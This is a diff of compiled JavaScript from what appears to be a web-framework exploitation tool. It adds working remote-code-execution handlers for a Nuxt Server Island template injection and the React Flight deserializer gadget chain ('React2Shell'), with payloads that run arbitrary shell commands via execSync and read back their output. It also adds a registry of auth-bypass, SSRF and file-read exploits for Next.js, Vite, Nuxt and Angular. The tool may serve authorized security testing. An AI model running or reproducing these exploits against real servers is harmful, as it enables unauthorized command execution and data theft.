const url = new URL(`/__nuxt_island/${component}_${islandHash}`, ctx.baseUrl).toString();
|
|
78
|
+
// Payload MUST go in the POST body, not the query string — the endpoint's naive path
|
|
79
|
+
// parser splits on "_", which collides with any "_" in the exec command.
|
|
80
|
+
return rawRequest(url, {
|
|
81
|
+
method: "POST",
|
|
82
|
+
timeout: ctx.timeout,
|
|
83
|
+
signal: ctx.signal,
|
|
84
|
+
headers: { "content-type": "application/json" },
|
|
85
|
+
body: JSON.stringify({ props: JSON.stringify(props) }),
|
|
86
|
+
});
|
|
87
|
+
});
|
|
88
|
+
const result = yield runSandboxRceProof({
|
|
89
|
+
sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
|
|
90
|
+
yield requestIsland(sandboxEscapePayload(cmd, "stage1"));
|
|
91
|
+
}),
|
|
92
|
+
sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
|
|
93
|
+
const resp = yield requestIsland(sandboxEscapePayload("", "stage2"));
|
|
94
|
+
if (!resp || resp.status !== 200)
|
|
95
|
+
return null;
|
|
96
|
+
return extractIslandOutput(resp.body);
|
|
97
|
+
}),
|
|
98
|
+
}, ctx.execCmd);
|
|
99
|
+
if (result.succeeded) {
|
|
100
|
+
return {
|
|
101
|
+
vulnerable: true,
|
|
102
|
+
evidence: `Server Island template-injection RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
|
|
103
|
+
discoveredUrls: [],
|
|
104
|
+
rawFindingExtras: { execOutput: result.output },
|
|
105
|
+
};
|
|
106
|
+
}
|
|
107
|
+
return {
|
|
108
|
+
vulnerable: false,
|
|
109
|
+
evidence: "Server Island sandbox-escape RCE proof did not succeed (patched, or endpoint/component name unknown).",
|
|
110
|
+
discoveredUrls: [],
|
|
111
|
+
};
|
|
112
|
+
});
|
|
113
|
+
export default cve202671320;
|
|
114
|
+
//# sourceMappingURL=cve-2026-71320.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2026-71320.js","sourceRoot":"","sources":["../../../src/exploit/nuxt/cve-2026-71320.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,116 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import rawRequest from "../utility/rawRequest.js";
|
|
11
|
+
import runSandboxRceProof, { escapeDoubleQuotedLiteral } from "../utility/sandboxRce.js";
|
|
12
|
+
const BOUNDARY = "----jsReconExploitBoundary";
|
|
13
|
+
export const buildMultipartBody = (fields) => {
|
|
14
|
+
const parts = Object.entries(fields).map(([name, value]) => `--${BOUNDARY}\r\nContent-Disposition: form-data; name="${name}"\r\n\r\n${value}\r\n`);
|
|
15
|
+
return `${parts.join("")}--${BOUNDARY}--\r\n`;
|
|
16
|
+
};
|
|
17
|
+
export const buildRscHeaders = () => ({
|
|
18
|
+
"next-action": "",
|
|
19
|
+
"rsc-action": "null",
|
|
20
|
+
"content-type": `multipart/form-data; boundary=${BOUNDARY}`,
|
|
21
|
+
});
|
|
22
|
+
/**
|
|
23
|
+
* Field "0": crafted Flight chunk. The deserializer walks attacker-supplied property paths
|
|
24
|
+
* without an own-property guard: "$1:constructor:constructor" reaches Function.prototype.constructor
|
|
25
|
+
* (assigned onto response._formData.get), "$1:__proto__:then" reaches real Promise.prototype.then
|
|
26
|
+
* so the chunk satisfies React's thenable check — React calls .then() on it, invoking
|
|
27
|
+
* response._formData.get(response._prefix + N) = Function(prefix + N), i.e. the attacker string
|
|
28
|
+
* becomes the body of a dynamically constructed and invoked function.
|
|
29
|
+
*/
|
|
30
|
+
export const buildGadgetChunk = (jsBody) => JSON.stringify({
|
|
31
|
+
then: "$1:__proto__:then",
|
|
32
|
+
status: "resolved_model",
|
|
33
|
+
reason: -1,
|
|
34
|
+
value: '{"then": "$B0"}',
|
|
35
|
+
_response: {
|
|
36
|
+
_prefix: jsBody,
|
|
37
|
+
_formData: { get: "$1:constructor:constructor" },
|
|
38
|
+
},
|
|
39
|
+
});
|
|
40
|
+
// The attacker string becomes a dynamically-constructed function's BODY, so it must be a
|
|
41
|
+
// syntactically complete statement sequence — no dangling expression. Throwing an Error (rather
|
|
42
|
+
// than assigning a value, as the Nuxt sandbox escape does) surfaces the result directly in
|
|
43
|
+
// Express's default error-handler HTML page, extracted below via extractErrorMessage().
|
|
44
|
+
const stage1Js = (cmd) => `(function(){ import("node:child_process").then(function(m){ globalThis.__pocOut = m.execSync("${escapeDoubleQuotedLiteral(cmd)}").toString(); }); throw new Error("kicked"); })();`;
|
|
45
|
+
// The thrown Error's message is only the first line of a much longer stack trace in Express's
|
|
46
|
+
// default error page — a plain "did we get non-empty text back" check would treat the stack
|
|
47
|
+
// trace itself as ready output on every attempt, even before __pocOut is set. Prefixing with a
|
|
48
|
+
// distinct marker lets extractErrorMessage tell "real output" apart from "not ready yet" and from
|
|
49
|
+
// the surrounding stack trace noise.
|
|
50
|
+
const RESULT_MARKER = "JSRECON_RESULT:";
|
|
51
|
+
const stage2Js = `throw new Error(${JSON.stringify(RESULT_MARKER)} + (globalThis.__pocOut || ""));`;
|
|
52
|
+
/**
|
|
53
|
+
* Express's default (non-production) error page wraps the thrown Error's message + stack in a
|
|
54
|
+
* <pre>. Returns the text between the marker and the next newline (the stack trace starts on the
|
|
55
|
+
* following line), or null if the marker/output isn't present yet.
|
|
56
|
+
*/
|
|
57
|
+
export const extractErrorMessage = (html) => {
|
|
58
|
+
const match = /<pre>([\s\S]*?)<\/pre>/.exec(html);
|
|
59
|
+
if (!match)
|
|
60
|
+
return null;
|
|
61
|
+
const text = match[1].replace(/<br>/g, "\n").replace(/"/g, '"');
|
|
62
|
+
const markerIndex = text.indexOf(RESULT_MARKER);
|
|
63
|
+
if (markerIndex === -1)
|
|
64
|
+
return null;
|
|
65
|
+
const afterMarker = text.slice(markerIndex + RESULT_MARKER.length);
|
|
66
|
+
const output = afterMarker.split("\n")[0].trim();
|
|
67
|
+
return output.length > 0 ? output : null;
|
|
68
|
+
};
|
|
69
|
+
/**
|
|
70
|
+
* CVE-2025-55182 "React2Shell": prototype-pollution gadget chain in React's Flight reply
|
|
71
|
+
* deserializer reaching an unauthenticated RCE. Requires the target to run Express 5 (Express 4
|
|
72
|
+
* crashes the process on the uncaught rejection instead of returning a clean error response) with
|
|
73
|
+
* `node --conditions react-server` — this handler still just attempts the exploit and interprets
|
|
74
|
+
* the result, since no live version/runtime-flag detection exists to gate on beforehand.
|
|
75
|
+
*/
|
|
76
|
+
const cve202555182 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
|
|
77
|
+
const sendGadget = (jsBody) => __awaiter(void 0, void 0, void 0, function* () {
|
|
78
|
+
return rawRequest(ctx.baseUrl, {
|
|
79
|
+
method: "POST",
|
|
80
|
+
timeout: ctx.timeout,
|
|
81
|
+
signal: ctx.signal,
|
|
82
|
+
headers: buildRscHeaders(),
|
|
83
|
+
// Field "1" must be the JSON string reference `"$@0"` (including its quotes), not the
|
|
84
|
+
// bare identifier — this is how Flight's reply format spells "resolve to chunk 0".
|
|
85
|
+
body: buildMultipartBody({ "0": buildGadgetChunk(jsBody), "1": '"$@0"' }),
|
|
86
|
+
});
|
|
87
|
+
});
|
|
88
|
+
const result = yield runSandboxRceProof({
|
|
89
|
+
sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
|
|
90
|
+
yield sendGadget(stage1Js(cmd));
|
|
91
|
+
}),
|
|
92
|
+
sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
|
|
93
|
+
const resp = yield sendGadget(stage2Js);
|
|
94
|
+
// The thrown error surfaces via Express's default error page, typically a 500 —
|
|
95
|
+
// don't gate on status, gate on whether a <pre> error body was actually returned.
|
|
96
|
+
if (!resp)
|
|
97
|
+
return null;
|
|
98
|
+
return extractErrorMessage(resp.body);
|
|
99
|
+
}),
|
|
100
|
+
}, ctx.execCmd);
|
|
101
|
+
if (result.succeeded) {
|
|
102
|
+
return {
|
|
103
|
+
vulnerable: true,
|
|
104
|
+
evidence: `React Flight deserializer RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
|
|
105
|
+
discoveredUrls: [],
|
|
106
|
+
rawFindingExtras: { execOutput: result.output },
|
|
107
|
+
};
|
|
108
|
+
}
|
|
109
|
+
return {
|
|
110
|
+
vulnerable: false,
|
|
111
|
+
evidence: "Flight gadget-chain RCE proof did not succeed (patched, not an RSC endpoint, or runtime precondition — Express 5 + --conditions react-server — unmet).",
|
|
112
|
+
discoveredUrls: [],
|
|
113
|
+
};
|
|
114
|
+
});
|
|
115
|
+
export default cve202555182;
|
|
116
|
+
//# sourceMappingURL=cve-2025-55182.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"cve-2025-55182.js","sourceRoot":"","sources":["../../../src/exploit/react/cve-2025-55182.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,115 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
export const CVE_REGISTRY = Object.freeze([
|
|
11
|
+
Object.freeze({
|
|
12
|
+
id: "CVE-2025-29927",
|
|
13
|
+
commonName: "Next.js middleware authorization bypass",
|
|
14
|
+
framework: "next",
|
|
15
|
+
description: "The x-middleware-subrequest header (repeated 5x, matching MAX_RECURSION_DEPTH) causes Next.js's middleware sandbox to skip execution entirely, bypassing any auth/redirect logic implemented in middleware.ts.",
|
|
16
|
+
vulnerableRanges: ["<12.3.5", "<13.5.9", "<14.2.25", "<15.2.3"],
|
|
17
|
+
requiresLiveTarget: true,
|
|
18
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2025-29927.js")).default; }),
|
|
19
|
+
}),
|
|
20
|
+
Object.freeze({
|
|
21
|
+
id: "CVE-2026-64645",
|
|
22
|
+
commonName: "Next.js rewrites() dynamic destination SSRF",
|
|
23
|
+
framework: "next",
|
|
24
|
+
description: "A next.config rewrites() rule with a dynamic capture-group destination hostname can be redirected to an internal service, reflecting its response through the public origin (reflected SSRF).",
|
|
25
|
+
vulnerableRanges: ["12.0.0-15.5.20", "16.0.0-16.2.10"],
|
|
26
|
+
requiresLiveTarget: true,
|
|
27
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2026-64645.js")).default; }),
|
|
28
|
+
}),
|
|
29
|
+
Object.freeze({
|
|
30
|
+
id: "CVE-2025-30208",
|
|
31
|
+
commonName: "Vite server.fs.deny bypass (double query-mark)",
|
|
32
|
+
framework: "vite",
|
|
33
|
+
description: "A trailing double '?' on a /@fs/ request (e.g. ?import&raw??) defeats Vite dev server's fs.deny path filter, allowing arbitrary file reads outside the project root.",
|
|
34
|
+
vulnerableRanges: ["<=4.5.9", "5.0.0-5.4.14", "6.0.0-6.0.11", "6.1.0-6.1.1", "6.2.0-6.2.2"],
|
|
35
|
+
requiresLiveTarget: true,
|
|
36
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2025-30208.js")).default; }),
|
|
37
|
+
}),
|
|
38
|
+
Object.freeze({
|
|
39
|
+
id: "CVE-2026-39363",
|
|
40
|
+
commonName: "Vite WebSocket fetchModule fs.deny bypass",
|
|
41
|
+
framework: "vite",
|
|
42
|
+
description: "Vite's vite-hmr WebSocket RPC exposes a fetchModule invoke that never applies the server.fs allow/deny checks the HTTP /@fs/ endpoint enforces, allowing arbitrary file reads over the HMR socket.",
|
|
43
|
+
vulnerableRanges: ["6.0.0-6.4.1", "7.0.0-7.3.1", "8.0.0-8.0.4"],
|
|
44
|
+
requiresLiveTarget: true,
|
|
45
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2026-39363.js")).default; }),
|
|
46
|
+
}),
|
|
47
|
+
Object.freeze({
|
|
48
|
+
id: "CVE-2026-71320",
|
|
49
|
+
commonName: "Nuxt Server Island template injection RCE",
|
|
50
|
+
framework: "nuxt",
|
|
51
|
+
description: "A crafted 'as.template' prop on a /__nuxt_island/ request is compiled by Vue's SSR runtime template compiler, allowing a sandbox escape ('a'.constructor.constructor(...)) into full Node.js RCE.",
|
|
52
|
+
vulnerableRanges: ["<4.5.1"],
|
|
53
|
+
requiresLiveTarget: true,
|
|
54
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71320.js")).default; }),
|
|
55
|
+
}),
|
|
56
|
+
Object.freeze({
|
|
57
|
+
id: "CVE-2026-71315",
|
|
58
|
+
commonName: "Nuxt route-rule casing middleware bypass",
|
|
59
|
+
framework: "nuxt",
|
|
60
|
+
description: "An uppercase-containing routeRules key never matches at any request casing because the lookup path is lowercased but the compiled rule key isn't, silently dropping the route's appMiddleware auth gate.",
|
|
61
|
+
vulnerableRanges: ["unspecified (regression of CVE-2026-53721's fix)"],
|
|
62
|
+
requiresLiveTarget: true,
|
|
63
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
|
|
64
|
+
}),
|
|
65
|
+
Object.freeze({
|
|
66
|
+
id: "CVE-2026-53721",
|
|
67
|
+
commonName: "Nuxt route-rule casing middleware bypass (original)",
|
|
68
|
+
framework: "nuxt",
|
|
69
|
+
description: "Original disclosure of the route-rule casing mismatch middleware bypass later regressed by CVE-2026-71315; same exploitation mechanism, same handler.",
|
|
70
|
+
vulnerableRanges: ["unspecified"],
|
|
71
|
+
requiresLiveTarget: true,
|
|
72
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
|
|
73
|
+
}),
|
|
74
|
+
Object.freeze({
|
|
75
|
+
id: "CVE-2026-68945",
|
|
76
|
+
commonName: "Angular HttpTransferCache key collision",
|
|
77
|
+
framework: "angular",
|
|
78
|
+
description: "HttpTransferCache's cache-key builder joins repeated query params with Array.prototype.join(','), so ?tag=a&tag=b and ?tag=a,b collide to the same cache entry, letting one request's cached response leak to a different query shape.",
|
|
79
|
+
vulnerableRanges: ["19.x (unfixed for entire line)", "<20.3.27", "<21.2.19", "<22.0.2"],
|
|
80
|
+
requiresLiveTarget: true,
|
|
81
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../angular/cve-2026-68945.js")).default; }),
|
|
82
|
+
}),
|
|
83
|
+
Object.freeze({
|
|
84
|
+
id: "CVE-2025-55182",
|
|
85
|
+
commonName: 'React Server Components Flight deserializer RCE ("React2Shell")',
|
|
86
|
+
framework: "react",
|
|
87
|
+
description: "React's Flight reply deserializer walks attacker-supplied property paths without an own-property guard, reaching Function.prototype.constructor via a __proto__ gadget chain for unauthenticated RCE. Requires Express 5 + node --conditions react-server on the target.",
|
|
88
|
+
vulnerableRanges: [
|
|
89
|
+
"react-server-dom-webpack/-parcel/-turbopack 19.0.0/19.1.0/19.1.1/19.2.0",
|
|
90
|
+
"Next.js 14.3.0-canary.77+/15.x/16.x (bundled React)",
|
|
91
|
+
],
|
|
92
|
+
requiresLiveTarget: true,
|
|
93
|
+
handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../react/cve-2025-55182.js")).default; }),
|
|
94
|
+
}),
|
|
95
|
+
]);
|
|
96
|
+
export const findCveMetadata = (cveId) => CVE_REGISTRY.find((cve) => cve.id.toLowerCase() === cveId.trim().toLowerCase());
|
|
97
|
+
/** Grouped by framework (alphabetical), sorted by CVE ID within each group — the shape --list-cve prints. */
|
|
98
|
+
export const groupedByFramework = () => {
|
|
99
|
+
var _a, _b;
|
|
100
|
+
const groups = new Map();
|
|
101
|
+
for (const cve of CVE_REGISTRY) {
|
|
102
|
+
const list = (_a = groups.get(cve.framework)) !== null && _a !== void 0 ? _a : [];
|
|
103
|
+
list.push(cve);
|
|
104
|
+
groups.set(cve.framework, list);
|
|
105
|
+
}
|
|
106
|
+
const sortedFrameworks = Array.from(groups.keys()).sort();
|
|
107
|
+
const result = new Map();
|
|
108
|
+
for (const framework of sortedFrameworks) {
|
|
109
|
+
const list = [...((_b = groups.get(framework)) !== null && _b !== void 0 ? _b : [])].sort((a, b) => a.id.localeCompare(b.id));
|
|
110
|
+
result.set(framework, Object.freeze(list));
|
|
111
|
+
}
|
|
112
|
+
return result;
|
|
113
|
+
};
|
|
114
|
+
export default CVE_REGISTRY;
|
|
115
|
+
//# sourceMappingURL=cveRegistry.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
